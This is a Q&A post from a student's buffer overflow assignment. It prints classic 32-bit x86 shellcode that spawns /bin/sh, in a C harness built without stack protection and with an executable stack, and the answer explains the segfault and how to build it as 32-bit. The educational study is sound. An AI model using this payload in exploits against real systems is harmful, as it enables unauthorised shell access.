assemblybuffer-overflowshellcodestack-smash

Assembly version of C code to launch a shell


In buffer overflow assignment, I got a C file (call_shellcode.c) which contains an assembly version of the following C code which executes to open a shell:

#include <stdio.h>
#include <unistd.h>
int main(){
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

The code in file call_shellcode.c is:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] =
  "\x31\xc0"             /* xorl    %eax,%eax              */
  "\x50"                 /* pushl   %eax                   */
  "\x68""//sh"           /* pushl   $0x68732f2f            */
  "\x68""/bin"           /* pushl   $0x6e69622f            */
  "\x89\xe3"             /* movl    %esp,%ebx              */
  "\x50"                 /* pushl   %eax                   */
  "\x53"                 /* pushl   %ebx                   */
  "\x89\xe1"             /* movl    %esp,%ecx              */
  "\x99"                 /* cdql                           */
  "\xb0\x0b"             /* movb    $0x0b,%al              */
  "\xcd\x80"             /* int     $0x80                  */
;

int main(int argc, char **argv)
{
   char buf[sizeof(code)];
   strcpy(buf, code);
   ((void(*)( ))buf)( );
} 

I've compiled it by command :

gcc -fno-stack-protector -z execstack -o call_shellcode call_shellcode.c

When I execute it, it shows segmentation fault. Where did it go wrong?


Solution

  • That's 32-bit x86 machine code that uses the 32-bit int 0x80 ABI.

    Assuming you're on a normal x86-64 Linux distro, you compiled it into a 64-bit executable, so those push imm32 instructions decode as pushq, and also RSP is outside the low 32 bits of virtual address space. So int 0x80 will return with eax=-EFAULT and execution continues into garbage, leading to a segfault.

    Use strace or GDB to see this (although strace decodes int 0x80 incorrectly in 64-bit executables, it will show the return value properly). See What happens if you use the 32-bit int 0x80 Linux ABI in 64-bit code?

    Use gcc -m32 -z execstack .. to make a 32-bit executable where this machine code will work.